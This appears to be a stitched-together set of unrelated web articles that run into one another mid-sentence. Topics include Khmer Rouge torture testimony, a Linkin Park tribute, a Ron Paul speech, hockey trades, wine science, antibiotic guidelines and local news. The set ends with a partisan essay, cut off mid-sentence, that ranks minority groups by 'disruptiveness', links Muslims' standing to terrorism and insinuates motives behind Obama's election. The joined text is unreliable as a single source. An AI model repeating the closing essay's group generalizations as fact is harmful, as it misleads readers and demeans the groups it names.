Let's petition DEFRA now to allow these indigenous animals to remain in their natural habitat! Rather than harming the environment, the beavers could actually help it by clearing trees and creating habitats for other flora and fauna.Khmer Rouge security officials used acid and pliers to torture inmates and disemboweled a detainee and consumed her organs, according to witness testimony given in Phnom Penh this week.
On Monday, former prisoner Keo Chandara told the Extraordinary Chambers in the Courts of Cambodia (ECCC) — a tribunal created to investigate the atrocities committed by the Khmer Rouge — that guards used pliers and acid to torture female detainees incarcerated at the Kraing Tachan security center.
According to his testimony, prison guards at the facility would use the pliers to lacerate the inmates before pouring acid into the wounds. If the detainees passed out due to the excessive pain, the overseers would then use water to revive them.
“About 10 prisoners who were ordered to sit and watch the torture,” said Keo Chandara, reports the Cambodia Daily.
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During one particularly gruesome episode, Keo Chandara said the guards hanged one prisoner by a hook through her mouth and then cut out her heart, gall bladder and liver after she was unable to answer questions during an interrogation session.
“One of them asked that the liver be fried and the gall bladder kept for him,” Keo Chandara told the court, according to the broadcaster Voice of America.
The Chinese-backed cadres took the extremities of central planning to new heights during their reign over the kingdom from 1975 to 1979. Cities were evacuated, intellectuals and members of the middle class were executed and currency abolished as the communists launched their ill-fated collectivist reforms that led to mass starvation and wanton savagery.
Approximately 1.7 million people — a quarter of the national population — are believed to have died under Khmer Rouge rule.
Vietnamese forces eventually dislodged the Khmer Rouge from power in 1979; however, guerrilla bands loyal to the outfit continued to battle the central government into the late 1990s.
The ECCC is currently investigating genocide charges against two of the Khmer Rouge’s last surviving top cadres, Khieu Samphan and Nuon Chea, who were sentenced to life in prison for committing crimes against humanity last year.
Contact us at [email protected] Out All The Rest
Ryan De Freitas Blocked Unblock Follow Following Jul 20, 2017
This one hurts.
When I first discovered Linkin Park, I was a hip-hop kid. It was what I grew up on and, not being particularly open-minded about music as a 16 year old, it was all I ever intended to listen to. And then I heard Chester Bennington’s voice for the first time.
Flicking through my go-to set of music channels — Channel U, Kiss, MTV Base — after school one day, I caught a glimpse of Jay Z standing on stage with something I’d never seen before: a live band. Curiosity triumphed, I set the remote down and quickly found myself wrapped up in this alternate version of ‘Encore’. Initially, I assumed this was just Jay’s backing band, but then as he dropped his “I came, I saw, I conquered” line and the music swelled and swelled around him, I knew something else was coming. I had no clue what it was going to be, but something special, something other was about to burst out of the speakers. Then it hit.
Starting gently enough, all the camera focus was now on this scrawny, awkward looking dude in a baseball cap. I never knew that someone could be described as ‘unconvincing’ in the way they wore something before, but Chester wasn’t fooling anyone, was he? And he was singing his fucking heart out. Caked in sweat and with a vein bulging prominently in his neck, this guy was taking a song I thought I knew inside out and adding an entirely new dimension to it. By the time the song had reached its next crescendo and Chester’s signature rasp had found my ears for the first time, I knew I needed more. The next day, I hassled my best friend — and the only rock music fan I knew who I hadn’t filed under ‘Weird Grunger’ and forgotten about — for a go on his iPod. I found ‘One Step Closer’ on there and quite literally the course of my life was changed forever.
That’s no dramatic overstatement, either. That’s not the writer in me clawing to say the most impactful thing I can conjure up. It’s the truth. A week later, I bought a guitar so I could learn the ‘One Step Closer’ riff — the fucker was in a non-standard tuning though, so I was stuck for a few months. That summer saw me glue headphones to my ears for the first time as I listened to nothing but Hybrid Theory, Meteora and Reanimation from the time I woke up until the moment I went to sleep. By the time school started up again, the same friend that had opened the gate was so sick of me singing ‘Crawling’ at him in every class that he marched me to HMV on the walk home and bought me ten non-Linkin Park rock records just so that I’d sing literally anything else. “As if there’s more of this,” I probably thought. And now, eight years on, I pay my bills by writing about rock music, the thing I obsessed over from that day forward. All because Chester Bennington managed to show up on a Jay Z track and steal the show.
In that sense, this is the first passing of a public figure that feels like a true loss to me. I’ve lost my Elvis, as that one seemingly perma-viral webcomic puts it. Sure, I’ve not been a fan of anything the band have done for a decade (and, if I’m being honest, even Minutes To Midnight felt like I was forcing myself to enjoy it), but I owe Chester and Linkin Park, well, everything.
I’m not writing this because I’m the only one with a story like this; far from it. Pretty much everyone within five years of my age who listens to rock music today will tell you something similar. Linkin Park are (…were? Fucking hell.) the influential rock band of this millennium and the impact of their output will be felt for generations to come – and that wouldn’t be the case without the talent of Chester Bennington. That’s what should be dominating conversation for the next month. Leave out all the rest.
Thank you, Chester Bennington. Rest in peace.HAYWARD — Ron Paul’s glass is half full AND half empty.
On one hand, the former 12-term congressman and three-time presidential candidate from Texas believes America is on the edge of economic collapse and totalitarianism, a teetering empire that boldly pokes its nose into the lives of its own citizens and the affairs of other nations.
On the other hand, “I am optimistic enough to believe that we are moving in the right direction,” he told an overflowing audience of about 600 on Wednesday at Cal State East Bay. “We’re overcoming that propaganda machine of the government and the media.”
More Americans — especially young Americans — are taking to the Internet and to the streets to question the government and stand up for their liberty and privacy, he said. And to paraphrase Victor Hugo, “you cannot stop an idea whose time has come.”
One of Paul’s sons, Rand Paul, is the junior U.S. Senator from Kentucky, and is considering whether to seek the Republican presidential nomination in 2016.
The elder Paul’s hourlong speech shared a title with his 2011 book, “Liberty Defined: The Future of Freedom,” and covered almost as many topics; the crowd welcomed each of his axioms with applause and shouts of encouragement. Among those spotted in the audience were a woman wielding one of Paul’s 2012 presidential campaign signs, and a man wearing a Guy Fawkes mask of the type popularized in civil protests of recent years.
Repeating his signature criticisms of income taxes and the Federal Reserve System, Paul said politicians — however good their intentions — who legislate away individual freedoms “believe that you are incapable of doing what is best for your life” and will redistribute wealth based on “envy.”
Liberty means letting people make and be responsible for their own mistakes, he said, citing drugs as an example. “If governments decide that vices are bad and are crimes, we end up with the situation we have today,” he said. “Look at the harm done by the drug war over these many decades.”
Paul called for noninterventionist foreign policy in which America stays out of places like Iraq and Syria, and avoids confrontations with nations like Russia, unless its own security is directly threatened. “There’s nothing wrong with a foreign policy … of the Golden Rule: Never do to another country anything that we don’t want them to do to us.”
Paul helped launch the liberty movement that split the Republican Party by taking on the neoconservative party leadership long before the words “tea party” were on anyone’s lips. In doing so, he built a rabidly loyal following particularly among younger voters — something few Republicans have achieved in recent decades.
Paul’s appearance Wednesday was sponsored by the Smith Center for Private Enterprise Studies — a free-market think tank at the university — and by the Independent Institute, a nonprofit, nonpartisan libertarian group based in Oakland. Paul also is scheduled to address the Commonwealth Club of California at 10 a.m. Thursday at the club’s offices in San Francisco.
Josh Richman covers politics. Contact him at 510-208-6428. Follow him at Twitter.com/josh_richman. Read the Political Blotter at IBAbuzz.com/politics.The Carolina Hurricanes made a pair of trades today, shipping out winger Jiri Tlusty and defenseman Andrej Sekera. The return that Carolina received for these players should act as measuring sticks when discussing potential trades involving two Blue Jackets who've been the subject of trade speculation.
The 'Canes received a 2016 third rounder and a conditional 2016 sixth rounder for Tlusty from Winnipeg, while the Kings dealt their 2015 first rounder and 2014 second round pick Roland McKeown for Sekera.
Tlusty and Atkinson are comparable in many ways:
1) Tlusty is 26, while Atkinson is 25.
2) This season Tlusty has scored at a rate of 0.43 points-per-game, with 13 goals. Cam is at 0.44 points-per-game, also with 13 goals. Last season Tlusty was at 0.44 P/G, while Cam put up 0.51 P/G. In 2013/2014, Tlusty had a career year at 0.79 P/G while Cam managed 0.51 P/G.
3) Both players have seen their scoring rates stay steady or decline over the past three seasons.
Jackets fans hoping for a second rounder or even a first can change their expectations. Granted, the closer we get to the deadline the prices tend to increase, but a third rounder and a low pick or low-end prospect should be the expected return if the CBJ were to trade Atkinson. I'm of the opinion that if that is the return, the Jackets are better off to keep him. With a strong finish to the season he should come close to scoring 20 goals.
Wisniewski and Sekera don't compare as closely, but one thing is clear: a player like Wiz has a lot of value right now.
1) Wiz is 31, and Sekera is 28.
2) Wiz' points per game for the last three seasons: 0.52 this year, 0.68 last year and 0.47 in 2013/2014. Sekera has put up 0.35 this year, 0.59 last year and 0.32 in 2013/2014.
3) Both players took a big leap last season, before falling back this season.
If the 'Canes were able to secure a first rounder and a recent second round prospect, the Jackets could expect to receive a similar return. It's been reported that the first rounder sent to Carolina is conditional on the Kings making the playoffs, it will be bumped to next year if they fail to make it.
This is a deep draft, so even a late first rounder is valuable. If a team like the Anaheim Ducks is interested in matching the Kings' move for a puck-moving blueliner, a package of their first rounder and a prospect like Marcus Pettersson (2014 second rounder) or perhaps even Emerson Etem (29th overall in 2010) makes some sense. Maybe the Blackhawks could send their first rounder and prospect John Hayden (third rounder in 2013) to the Jackets. If the Red Wings are in the mix, perhaps their first rounder and Tyler Bertuzzi (2014 second rounder) would get a deal done. Bertuzzi played with Kerby Rychel in Guelph of the OHL last season.
This is all speculation of course, but thanks to Carolina getting an early start on their deadline deals, we now have a better indication of what the Jackets could potentially receive if they were to trade Atkinson and/or Wisniewski. For the record, I'm not necessarily promoting these trades to happen, I'm just looking at comparables. In fact, I'd be against a Cam trade, if that's the expected return. I must admit though, if the Jackets can come close to fetching something similar to what the 'Canes got for Sekera, I could get behind a Wisniewski trade.
We'll know by Monday afternoon.The Answer To Increasing Childcare Expenses
Everyone knows how important childcare services are to most parents. A child’s development in the early years needs to need to be built strong in order for them to survive as they grow up. This is the time when they are at a maximum learning level, learning all sorts of things that they will find useful in the future. These services are the answers to parents’ prayers especially when they could not take care of their children personally. As a result, these daycare centers are increasing operations costs to improve the level of learning of children. In line with this, they are also affected by reductions in sessions and redundancies.
Insurance premiums are now available for childcare providers in order to reduce their costs and keep their businesses going. There are a couple of reasons why daycare centers are expensive. They need to consider the staff they hired, the insurance of the children, place and employees and other maintenance costs to ensure quality service. These are things which the consumers do not know about. There are underlying costs which dictate the prices of these daycare centers. Nonetheless, these childcare centers cannot really increase their prices as they increase their costs because parents would then have hard time paying for these services. This is also contrary to the nature of these jobs which is to provide ease for the parents when it comes to childcare.
This is the good thing about insurance premiums they allow these businesses to compensate for the costs that they incur as they improve childcare. These are offered by insurance companies and brokers in order for these businesses to be able to save money amidst the increase in expenses. Every penny that you use counts when your expenses increase. This has made running a nursery easier since there are a lot of benefits which they can get. It depends on the insurance policy that they have which can cover a lot of costs.
There is nothing that you should worry about. Even if marketing can be expensive, you will not have to worry about this. There are certain ways in which you can save money from advertising. You can have referrals and recommendations from people so that you can contact them. You can have a lot of clients through this method. The media is certainly one of the most effective ways of marketing. You may want to build relationships with the media and have free advertisements. It all takes confidence and the right attitude. You must also have a constant way of marketing your business, like online advertisements and flyers. If you allow the public to notice you, then they will surely come to enrol their child in your daycare center.
Although expenses are going up, you can now save money with your daycare center. With the improvements in the finance options for these services, this will allow the best thing to happen. It can work both ways for parents and the business owner. With insurance premiums, the owners can now manage expenses assuring the parents of quality child care with a minimal cost.
For more info: How to start a childcare service
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More Daycare ResourcesNEW YORK -- Kristaps Porzingis is turning blocks into bucks.
The New York Knicks forward will donate $500 for each of his blocked shots for the rest of the season to the RENS, a New York-area, not-for-profit youth basketball program.
The RENS will use the donations from the "KrisStops" campaign for the Ben Jobe Educational and Scholarship Fund. It will help provide RENS participants with free tutoring, SAT prep and tuition money for students in third to eighth grades.
The 7-foot-3 Porzingis, who is averaging 1.2 blocks per game this season, will announce the initiative Saturday at the Abyssinian Baptist Church in New York. The program will begin with Sunday's home game against the Atlanta Hawks.
Jobe, the Knicks' 83-year-old scout, won more than 530 games as a coach at seven black colleges and universities.For hundreds of years, the fungus Botrytis cinerea has been key to making the world’s finest dessert wines. Now UC Davis researchers working with Dolce Winery in the Napa Valley show how the fungus changes plant metabolism to produce new flavors and aromas in white-skinned grapes.
Under moderately moist conditions, the fungus produces the benign “noble rot,” ideal for making particular high-value dessert wines, known as “botrytized wines” or Sauternes. But when moist conditions prevail in the vineyard, Botrytis spawns noble rot’s evil twin, the so-called “bunch rot.” Bunch rot is a destructive disease that inflicts severe crop losses in all grape-growing regions worldwide.
The UC Davis team found that during noble rot infection, Botrytis induces metabolic processes in white grape berries normally seen only during the ripening of red-skinned grapes. This was a novel observation, because white berries are, in fact, developmental mutants that cannot activate several ripening pathways such as the synthesis of anthocyanins, the molecules that impart the red color in the skin of red grape berries.
The research also confirmed that the reprogramming of grape metabolism by Botrytis results in the accumulation of key aroma and flavor compounds that make sweet wines made from botrytized grapes so special.
Findings from the new study appear this week in the journal Plant Physiology at http://bit.ly/1NJCJxV.
“This study demonstrates how effective it is to integrate genomics and metabolomics in analyzing the impact of plant-microbe interactions on plant metabolism under field conditions,” said plant biologist Dario Cantu of the UC Davis Department of Viticulture and Enology.
The work also may lead to new approaches to improving quality traits in grapes and other fruit, said Cantu, who led the study along with postdoctoral researcher Barbara Blanco-Ulate.
Botrytis has long history in winemaking
Winemakers have made use of the beneficial impacts of Botrytis cinerea — in the form of noble rot — since the 1500s. For example, white-skinned grape berries, naturally infected with noble rot, have been used to produce some of the world’s highest quality dessert wines, referred to as botrytized wines. These wines were first produced in specific regions of Hungary, Germany and France, but now are also made in Italy, Australia, New Zealand, South Africa and California. Botrytized wines are valued for their natural sweetness and distinctive flavor and aroma profiles, which include raisin, pineapple, apricot, pear and honey features.
Systems biology explains how grape berries change during noble rot
In the newly published study, the researchers collected berries of a white-skinned grape variety called Sémillon over three years at the same time the grapes were being harvested for winemaking. They then used state-of-the-art RNA sequencing and metabolomics approaches, as well as enzymatic assays, on those grapes to demonstrate that noble rot:
induces grape stress responses involved in generating aroma and flavor metabolites; and
triggers regulators of metabolic pathways that are typically associated with red-skinned grape berry ripening.
The researchers also profiled the metabolites of commercial botrytized wines produced from the same vineyard where the grape berries were collected and verified that key compounds that result from noble rot are carried over to the wines.
Working with Cantu and Blanco-Ulate on this study were professors Susan Ebeler and Hildegarde Heymann, both of the UC Davis Department of Viticulture and Enology; Thomas Collins, currently an assistant professor at Washington State University; Greg Allen, winemaker at Dolce Winery; and Rosa M. Rivero of CEBAS-CSIC research institute in Spain. Other members of the research team were Katherine Amrine, Abraham Morales-Cruz, Carolyn Doyle and Zirou Ye, all of UC Davis; and Ariel Vicente of CONICET, the National Scientific and Technical Research Council of Argentina.
Funding was provided by the UC Davis College of Agricultural and Environmental Sciences, and instrumentation support was provided by Agilent Technologies.New Delhi, Jan. 23 (PTI): The Indian Medical Association today asked doctors not to prescribe antibiotics for adults suffering from common cold, uncomplicated bronchitis, and sore throat or sinus infections that are not caused by streptococci.
Some of these infections are caused by viruses, against which antibiotics have little effect. And inappropriate use of antibiotics in the other cases contributes to the spread of antibiotic-resistant infections, which is a public health threat, the association said.
The association, a private organisation of doctors, said these respiratory infections are the commonest reason for visits to doctors and outpatient departments in hospitals.
"Over 50 per cent of antibiotic prescriptions may be unnecessary or inappropriate in the outpatient setting," said Dr S.S. Agarwal, national president of the association.
The association has issued a set of guidelines, which says doctors should tell patients suffering from common cold that the symptoms can last up to two weeks.
"One should intervene only if the symptoms worsen or exceed the expected time of recovery," association secretary-general Dr K.K. Aggarwal said.
"Antibiotics should not be prescribed for uncomplicated bronchitis, either, unless pneumonia is suspected."
In such situations, he said, symptomatic relief using cough suppressants, expectorants, antihistamines, decongestants and beta-agonists are sufficient.
Antibiotics should be prescribed for sore throat only if a strep test confirms streptococcal pharyngitis.
"For all other cases, one should recommend analgesic therapy such as aspirin, acetaminophen, non-steroidal anti-inflammatory drugs and throat lozenges, which can help reduce pain," Dr Aggarwal said.
"Uncomplicated sinus infections typically clear up without antibiotics. Antibiotics should be prescribed only if there are persistent symptoms for more than 10 days, or if a patient develops severe symptoms or a high fever, has nasal discharge or facial pain for at least three days in a row, or worsening symptoms following a typical viral illness that lasted five days and was initially improving."Drugs prompt expansion of Surfside Beach K9 Unit Copyright by WBTW - All rights reserved Video
SURFSIDE BEACH, SC (WBTW) - Surfside Beach is often referred to as "The Family Beach" of the Grand Strand, but recently its police department realized it needed more help to stop dangerous drugs from moving through town.
The Surfside Beach Police Department developed its first K9 team in 2014. Since starting patrols last June, K9 Biko and Cpl. Julian Ziolkowski have completed more than 256 searches. Reports show most of those searches were drug-related, resulting in 124 arrests as of July 15, 2015.
Together the team has recovered narcotics like meth, heroin, marijuana, hydrocodone and numerous tools of drug paraphernalia.
Lt. Kenneth Hofmann, spokesman for the Surfside Beach Police Department, says marijuana and heroin are the two most commonly-found drugs on the streets of town.
"Here in the Town of Surfside Beach, we are a family beach and we are not going to tolerate user-level drugs," he explained. "I think anytime there is drug activity - whether it's just passing through or whether we have someone that's purchasing user quantities of drugs - that poses a problem to the community. We want to treat it like it's a big issue here."
Treating it like a big issue prompted the department to add K9 Viking and Officer Michael Manemeit to its patrols. The team was placed into service on May 22, and deployed 14 times that month. Those deployments resulted in 5 drug arrests and the seizure of marijuana and heroin.
"We found so much success when Biko was deployed, but because he was assigned to a shift with his handler, we found we only had K9 coverage 25% of the time. If Biko was on nights, we had days that weren't govered. Then there was the other half of the schedule where a K9 wasn't available unless we called Biko out. What we found is that Biko and his handler were really being overworked through callouts," Hofmann explained.
Officers say utilizing the two K9 units on traffic stops not only helps to detect narcotics, but provides extra reasoning to execute searches.
"When you deploy a K9, he's a key to a safe you couldn't open prior to having him," Officer Michael Manemeit explained.
Both K9 Biko and K9 Viking are finding large success in detecting narcotics on popular roads like US-17 Business and main thoroughfares through Surfside Beach. However, Ziolkowski told News13 the town's small size often makes it difficult to stop suspicious people and vehicles.
"From what I've seen, I would say that most of the folks that are being charged live nearby, but outside of the town," he explained.
While both K9 Biko and K9 Viking continue to detect narcotics on the streets of Surfside Beach, the K9 Unit as a whole has cost the town very little. Hofmann says both K9 Biko and K9 Viking were donated to the department, in addition to a majority of their training. The town continues to support the team through a dedicated fund.
News13 also reached out to neighboring police departments to compare the number of K9 deployments in Surfside Beach. Officials provided the following K9 Unit statistics since January 2014:The Courageous State is an indictment of the behaviour and agendas of contemporary politicians. Richard Murphy argues that we have ‘a government … run by cowards who believe that there is nothing they can do but acquiesce to the demands of the market’ (p6). He juxtaposes the cowardly state, whose politicians have swallowed the lie that market outcomes are always better than state-designed outcomes and run away from their responsibilities by leaving everything to the market, with the Courageous State, whose politicians have integrity, who know that the future is uncertain and that there is a great deal they do not know, but also know that they must take responsibility, must choose and must act. He asks how we can expect people to have faith in politics and politicians when our politicians themselves have no faith in themselves but only in ‘the market’.
This is a book bristling not only with indignation, but with disbelief at the thinness and absurdity of the claims of neoliberalism: for example, that markets know everything but people make mistakes, that people are always selfish, always rational, always motivated by financial gain, and that transactions or exchanges are irrelevant unless they are cash-measurable (Murphy recognises that there are more nuanced neoliberal arguments, but makes a case that politicians act on the meta-narrative). The book shines a strong light on the narrowness of the economic vision that informs UK policy from Thatcher onwards.
Murphy wholeheartedly rejects neoliberal economics as the framework for thinking which got us into our current troubles, and makes a passionate and compelling case for a new framework which might get us out of them.
Part 1 of The Courageous State refutes the neoliberal analysis of the state and demonstrates how and why the state is not simply important but the very bedrock of a healthy and sustainable economy. However, Murphy does not simply offer a critique, though he does this with useful factual detail and conviction, but in Part 2 proposes an alternative model of economics. Running through the book are two conceptions of human nature: the grasping homo economicus of neoliberalism is displaced by an empathic, relational being who can only flourish, perhaps only exist, in society and in community. The former is motivated by acquisitiveness, the latter by the drive to maximise human potential (both individually and collectively). Murphy recognises that these are not new ideas; simply that they are new to mainstream economics.
The main aim of The Courageous State is to explore the kind of economics we need if this is who we are. Murphy proposes an alternative framework for thinking (he rejects the scientific connotations inherent in the word model) in which the goal of economics is to help us maximise our potential in four areas: material well-being, emotional well-being, intellectual well-being and our sense of purpose (which he judges a central human need). For me, this is one of the central charms of the book. The collective aspects of human identity are placed centre-stage as a human need and as a motivating force.
Murphy’s vision is clearly communicated, and The Courageous State offers us practical and conceptual tools for rejecting the neoliberal ideology which has underpinned government policy for the last thirty years. He distinguishes the cash economy of ‘feral finance’ from the real economy, and argues that the Courageous State should reduce and limit the former while promoting the latter. Part 3 of the book offers an exhaustive wealth of ideas on policies, including with regard to tax as a central right and power of government, that politicians could choose if they were guided by the broader vision of economics that Murphy proposes. In the bicentenary year of the Luddite Rebellion, I feel compelled to make the point that when Murphy says he is a not a Luddite but that we should provide tax relief to encourage employing people instead of machines, he is indeed making a proudly Luddite argument: that technology should not harm people and communities.
Murphy’s policy proposals are a key strength of the book. They overwhelmingly demonstrate, in very specific and concrete detail, that There Is An Alternative. Yet whilst Murphy invokes democracy throughout the book, both as necessary to the Courageous State and as threatened by the cowardly state and the reality of feral finance, I found there to be a central question which the book does not answer: how do we – as democratic citizens – act to create a Courageous State and not a cowardly one? Murphy’s perspective is powerful and compelling; it would only be strengthened by a more central analysis of power. Neoliberal politicians are not merely cowardly – by and large, they are themselves amongst the elite who benefit from the appropriation of resources by a tiny wealthy minority. They will not simply choose to be courageous. It is we, as active democratic citizens, who must demand it. This book is, however, a significant resource in that campaign.I get a lot of people asking me what tools I used to make the FTL soundtrack. I started answering them individually, but I think a blog post would be more efficient and useful to everyone. So here goes!
I have a Macbook Pro that’s the center of my setup. I record everything into Cubase, my DAW of choice. There are many quality DAWs out there. I hear Reason and FL Studio are good too. I originally purchased Cubase because ten years ago, when I knew nothing about music production, I asked Jesper Kyd what he used and Cubase was his answer.
Now I keep using it because I’ve had it for years and I’m good at it. This is important: the best tools are the ones you can use to get your work done efficiently. Most DAWs do pretty much the same thing. Choose one that seems the most interesting and then stick with it.
Cubase is just the workstation, the thing that lets me arrange a bunch of different sounds together into something interesting. What
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for protracted negotiations.by BRIAN NADIG
6-1-13
A new pancake eatery at the former Blue Angel restaurant at 5310 N. Milwaukee Ave. and a second-story addition to an existing commercial building at 5396-98 N. Milwaukee Ave. are among area development projects.
Elly’s Pancake House, which has five locations in the Chicago area, recently signed a lease for the former Blue Angel building, whose most recent occupant was an Irish pub. The Blue Angel, which closed in 2011 after 31 years of operation, was famous for its extensive menu and late-night dining crowd, as the restaurant was open 24 hours a day.
Elly’s, whose menu includes, eggs, crepes, soups, salads and sandwiches, will not be opening its Gladstone Park location for a few months due to planned renovations. Its hours of operation have not been determined, but one of Elly’s existing locations is open 24 hours a day, while the others are open 6 a.m. to 4 p.m.
Also in the area, a zoning change is being proposed to accommodate the construction of a 6,000-square-foot second-floor addition to a former auto parts store at 5396-98 N. Milwaukee Ave. Riders Needs, which sells and services motorcycles, is relocating to the site from its existing facility at 3818 W. Montrose Ave.
Plans call for the 7,800-square-foot parcel, which is located at the southwest corner of Milwaukee and Manila avenues, to be rezoned from B3-1 to C2-3. Project attorney Mark Kupiec said that the zoning change is required due to the increase in the size of the building, which will measure about 12,000 square feet when completed, and to provide relief on parking requirements.
The planned building could be constructed under the more restrictive C2-2, but that classification would require 13 parking spaces for the project, which calls for about 10 spaces in the rear of the property. Several nearby properties, including the former Gateway Chevrolet showroom at 5371-73 N. Milwaukee Ave., are zoned C2-1.
Rider Needs owner Mariusz Juszczyk said that the shop project would not be completed until next year and that the building would be about twice as big as the store’s current facility. Alderman John Arena (45th) is planning to hold a community on the proposal.
Meanwhile, several properties at 5610-36 N. Milwaukee Ave., where the Siegel’s department store was once located, were recently sold. The owner is listed as a trust, and possible redevelopment plans have not been announced.
In other news, Alderman Mary O’Connor (41st) has delayed action on her proposed ordinance to rezone the site of an accounting office at 6756 N. Harlem Ave. from RS-2, which is intended for single-family homes, to B3-1, which allows for stores and restaurants. It is believed that the site was mistakenly rezoned for residential use about 20 years ago, said O’Connor’s chief of staff Lisa Ryan.
Due to parking concerns expressed by residents, the ordinance may be revised to B1-1, which is designed for less intensive uses than B3-1, Ryan said. There are no redevelopment plans for the 3,125-square-foot parcel, but the site’s owner has expressed an interest in selling the property, Ryan said.
In the 38th Ward, the owner of a three-flat is attempting to legalize the building by having the property rezoned from RS3 to the less restrictive RT3.5, said Alderman Timothy Cullerton. He added that his office has received no objections to the plan and that it is common for 2 ½-story buildings in the area to have a basement apartment.Shutterstock
When it comes to patient privacy, the healthcare world is supposed to have hard and fast rules as to what can and can not be disclosed. Healthcare providers are bound by HIPAA (Health Insurance Portability and Accountability Act of 1996) to keep their patients’ information private and to not violate those rights. So imagine the surprise of one woman when she was watching Dr. Oz’s NY Med one night and saw footage of her late husband’s final moments at New York Presbyterian Hospital without her consent.
That incident led to Anita Chenko suing that hospital over the use of that footage of her husband’s heartbreaking last moments, even if his face was obscured throughout the footage. She had remarked that his voice was used and that the footage was so clearly of him. The lawsuit was originally thrown out, but the New York Court of Appeals voted for it to proceed where the hospital was found to be in error, reports Mediaite. Of course, while Dr. Oz has had his fair share of bad press, this one wasn’t actually on him.Posted by
Toward the end ofwhen the formerly revolutionary seven commandments have been rewritten to "All Animals are Equal... But Some Animals are More Equal than Others", what began with the promise of equality has reverted to an authoritarian caste system. America's civil rights revolution similarly began with, "All Americans are Equal" and ended up with, "All Americans are Equal... But Some Americans are More Equal than Others."Liberals have seized the commanding heights of the moral high ground by presenting themselves as the protectors of minorities and vowing to replace one racist system with an equally racist, anti-racist system. But caste systems aren't just black and white and the rainbow coalition has internal conflicts. What do liberals do when different groups within the rainbow coalition conflict and how do they make that determination?It's not a new question. Black men got the vote before white women did, and that very issue led to a heated debate over universal suffrage in the Fourteenth Amendment, which was written to include black men, but exclude women. Suffragists were told in Fredrick Douglass' words, "This is the Negro's hour." To explain why that was the hour on the clock, Douglass brought out what would become the Victim Value Index."When women because they are women are dragged from their houses and hung upon lamp-posts... then they will have the urgency to obtain the ballot equal to our own," Douglass sneered. Women had been dragged out of their homes and subjected to horrors because they were women for far longer than the brief few centuries of African slavery in America, but Douglass' real point was, "My suffering beats your suffering, so my rights beat your rights." In contemporary progressivism this is expressed in the sneering "White Women's Tears" meme.Suffering is the central ideological component of the Victim Value Index. "He Who Suffers Most Wins." But suffering, as in the Douglass debate, is relative. Ego means that people feel their own pain first. And even when they feel someone else's pain more than that of their own group, this is a personal egotistical identification, a selective empathy that derives from their own background and psychological makeup.Historical suffering transmuted into guilt is the gold standard of liberalism, but suffering is relative. In our wonderful multi-everything society, there are so many groups with so many claims to pain. Everyone agrees that the Heteronormative Caucasian Patriarchy of Doom is to blame for all of it, but that still leaves the question of dividing up the spoils of the system and all the privileges to be gained from denouncing privilege. A caste system doesn't work without priority, and calculating the priority of privilege claims by the perpetually underprivileged is complicated.Without the Victim Value Index, understanding how these priorities work can be confusing, even for liberals. It's particularly confusing for conservatives and libertarians who don't understand the system and dismiss it as liberal insanity. It is insane, the way all cultural taboos are, but there is a method to the madness.The first thing to understand is the dirty little secret of the Victim Value Index. While loud vocal assertions of suffering are very important, the substance of such suffering is unimportant when moving up the ladder of the Victim Value Index.If historical justice for suffering were the barometer, American Indians would be at the head of the line. While conceptually they are, progressives respond to praises of America by bringing them up, in practice they are somewhere near the back end of the middle. The group currently at the head of the line, Muslims, have the least claim on historical justice, but are at the center of civil rights activism.Actual suffering doesn't matter. Neither does historical justice. Both of those are easy to make up, and in a dogma-ridden environment no one will look past the politically correct line anyway.The Victim Value Index is calculated based on one overriding factor: Disruptiveness. Those who are most disruptive go to the head of the line. This can be mistaken for a "Squeaky Wheel Gets the Grease" phenomenon, and occasionally in the micro it is, but in the macro it goes to the question of why progressives value minorities and for what purpose.To be a progressive is to be committed to perpetual reform in the name of perpetual grievance for perpetual power. Grievance is to their government feudalism what the Divine Right of Kings was to feudal rulers. It justifies their right to agitate and undermine, to seize power by any means necessary and to implement their programs legally or extra-legally.Reformers need their bleeding sores, their cries of outrage and their muck to rake. Those who give them that often go to the head of the line acting as their secular clergy, blessing their rule and anointing them as the protectors of their faith in hope and change. But that's just part of it.Progressivism is a revolution in slow motion, and revolutions need revolutionaries. Disruption is more than just grievance, it's violence. Those who are willing to ruthlessly attack the status quo clearing the ground for revolution are the ones who go to the head of the line and the dais of honor on top. A little murder and mayhem, and progressives will trot out "moderate" versions of the murderers and mayhemists, usually linked to them, and offer to represent them and tamp down the violence in exchange for meeting their demands.Anyone who is shocked that the left would make common cause with Islamists has forgotten the Black Panthers. From the left's point of view they are doing the same thing by bringing on board a group with some revolutionary energy and a willingness to overthrow the system. Associating with them gives the left some revolutionary cred and the supposed ability to turn the violence on and off.If you think that's farfetched, what do you think happened in 2008 when a completely inept hack blew through Hillary Clinton and John McCain on a pledge to end the wars and repair our relations with the Muslim world? Why exactly do you think the Democrats chose a man with no experience except a few books about growing up in a Muslim country and Hussein as his middle name? Why was that man then awarded a Nobel Peace Prize for no discernible accomplishment?September 11 and its aftermath is why Muslims have gone to the top of the Victim Value Index. The left may swear up and down that they are interested in Muslim civil rights, but if the Muslims were Sikhs, they would merit a place somewhere in the back. Before Muslims began prominently blowing things up in the United States, the left barely paid any attention to them. Once they did, they began outweighing every other group in the country because killing 3,000 people is the gold standard of revolutionary mayhem.The Victim Value Index places the most disruptive groups at the front, the somewhat disruptive groups in the middle and the least disruptive groups at the back. The status of groups within the Index can change with their behavior. Muslims used to be shelved in the back with Asians, Indians and Jews. The War on Terror dramatically upgraded their status. The other groups are stuck there because they are relatively successful and aren't rioting or blowing things up.Latinos are still somewhere in the middle. Native Americans are in the back along with most unclassified minorities. Homosexuals are somewhere near the front, but behind African-Americans. Their status tends to drift wildly depending on current events, but they cannot overtake African-Americans or fall behind Latinos. Not unless some drastic events take place that change their status. Women are, and have always been, in the back.The practical value of the Victim Value Index is that it mediates internal conflicts. For example, a bias attack by a member of a high-value group on a member of a low-value group is much less likely to be treated as a hate crime. However, an ordinary attack by a member of a low-value group on a member of a high-value group is more likely to be treated as a bias attack even when it isn't.High VVI status carries with it the caste privilege of assumed persecution. A high-status VVI can blame a great many things on persecution. This is more difficult to do for a lower-status VVI. A claim of discrimination by a low-status VVI is more likely to be mocked than a similar claim by a high-status VVI, and is less likely to lead to politically correct reprisals. Jokes relying on bias and stereotypes can be made with greater freedom about low-status VVI's than about high-status VVI's.White men have the lowest VVI status imaginable, and are fair game for racist jokes and bias attacks, but Asians, who have a fairly low VVI status, are also fair game. VVI status is group based but can be forfeited by an individual who engages in counterrevolutionary behavior, thereby forfeiting a status awarded to his group for its revolutionary disruptiveness. Any minority group member who aligns with conservatives is immediately assigned the same VVI status as a white male. A low-status VVI who offends a high-status VVI group may be treated the same way.Speech codes are an easy way to determine VVI status. As a black man, Juan Williams was a high-status VVI, allowing him to make 